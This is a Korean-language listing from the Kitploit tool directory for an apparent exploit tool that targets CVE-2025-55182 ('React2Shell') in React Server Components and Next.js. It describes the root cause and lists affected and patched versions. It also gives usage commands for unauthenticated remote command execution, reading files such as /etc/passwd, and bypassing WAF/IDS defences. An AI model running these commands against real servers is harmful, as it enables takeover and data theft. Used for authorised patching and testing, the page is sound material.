Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — 사전 인증 RCE 익스플로잇으로, CVE-2025-55182(React2Shell)를 대상으로 React Server Components를 공격합니다. 스캐닝, OAST 검증, WAF 우회, 명령 실행 및 파일 읽기 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/sentinelxofficial/cve-2025-55182
ReconnaissanceVulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationWAF BypassPenetration TestingPayload Development
GitHubsentinelxofficial/cve-2025-55182

CVE-2025-55182

사전 인증 RCE 익스플로잇으로, CVE-2025-55182(React2Shell)를 대상으로 React Server Components를 공격합니다. 스캐닝, OAST 검증, WAF 우회, 명령 실행 및 파일 읽기 기능을 제공합니다.

저장소 보기
142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 — React2Shell

React Server Components (RSC), Next.js 및 관련 프레임워크에서의 사전 인증 원격 코드 실행(RCE) 취약점

CVE CVSS Type Author


개요

CVE-2025-55182(일명 React2Shell)은 React Server Components(RSC) 생태계에 영향을 미치는 심각한 사전 인증 RCE 취약점입니다. 인증되지 않은 공격자는 조작된 HTTP POST 요청 하나만으로 취약한 서버를 완전히 장악할 수 있습니다.

기술 분석

근본 원인

React Server Components는 함수 참조와 모듈 호출을 직렬화하기 위해 React Flight라는 사용자 정의 와이어 형식을 사용합니다. 이 취약점은 RSC 엔드포인트로 들어오는 POST 요청을 처리하는 페이로드 디코딩 메커니즘에 존재합니다.

서버가 React Flight 페이로드를 수신하면 적절한 검증 없이 콘텐츠를 역직렬화하며, 공격자가 제어하는 $$typeof 필드와 모듈 참조 해석을 신뢰합니다. 이로 인해 공격자는 다음을 수행할 수 있습니다.

  1. 임의의 Node.js 내장 모듈 참조(예: child_process, fs, net)
  2. $F(함수) 타입 마커를 통한 함수 호출 체이닝
  3. Node.js 서버 런타임에서 임의 코드 실행

영향을 받는 버전

CVSS

root@kitploit:~

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical


기능

  • 스캔 – 취약한 RSC 엔드포인트를 탐지하고 Next.js/React 버전을 식별합니다.
  • 검증(OAST) – DNS/HTTP 콜백을 통해 RCE를 확인하는 대역외 페이로드를 전송합니다.
  • 우회 – 종합적인 WAF/IDS 탐지 우회: content-type 변형, 페이로드 인코딩, 헤더 스푸핑, 경로 변형 및 WAF 페이로드.
  • 실행 – 대상에서 임의의 시스템 명령을 실행합니다(예: id, whoami).
  • 읽기 – 서버에서 임의의 파일을 읽습니다(예: /etc/passwd, package.json).
  • JSON 출력 – 통합을 위한 기계 판독 가능한 결과.

설치

root@kitploit:~
git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt

사용법

기본 스캔

root@kitploit:~
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json

OAST로 RCE 검증

root@kitploit:~
python3 poc.py -t https://target.com -m verify --oast your.oast.domain

전체 우회 테스트

root@kitploit:~
python3 poc.py -t https://target.com -m bypass --verbose

명령 실행

root@kitploit:~
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20

파일 읽기

root@kitploit:~
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"

프록시 사용(예: Burp Suite)

root@kitploit:~
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080

파일 구조

root@kitploit:~
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
    ├── __init__.py
    ├── payloads.py
    ├── scanner.py
    ├── bypass.py
    └── rce.py

완화 방안

패치(권장)

root@kitploit:~
npm install [email protected]
npm install [email protected] [email protected]

임시 대응 방안

· Server Functions("use server") 비활성화 · Content-Type: text/x-component 차단을 위한 WAF 규칙 · RSC 엔드포인트에 대한 네트워크 분리


참고 자료

· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182


면책 조항: 승인된 보안 테스트에만 사용하십시오.

작성자: SentinelX · https://t.me/SentinelXsecurity

root@kitploit:~
도구 다운로드
패키지취약 버전패치 버전
react-server-dom-webpack19.0.0 – 19.2.0≥ 19.2.1
react-server-dom-parcel19.0.0 – 19.2.0≥ 19.2.1
react-server-dom-turbopack19.0.0 – 19.2.0≥ 19.2.1
next (13.x)13.3.0 – 13.5.x≥ 14.2.35
next (14.x)14.0.0 – 14.2.34≥ 14.2.35
next (15.x)15.0.0+ (패치 참조)패치된 릴리스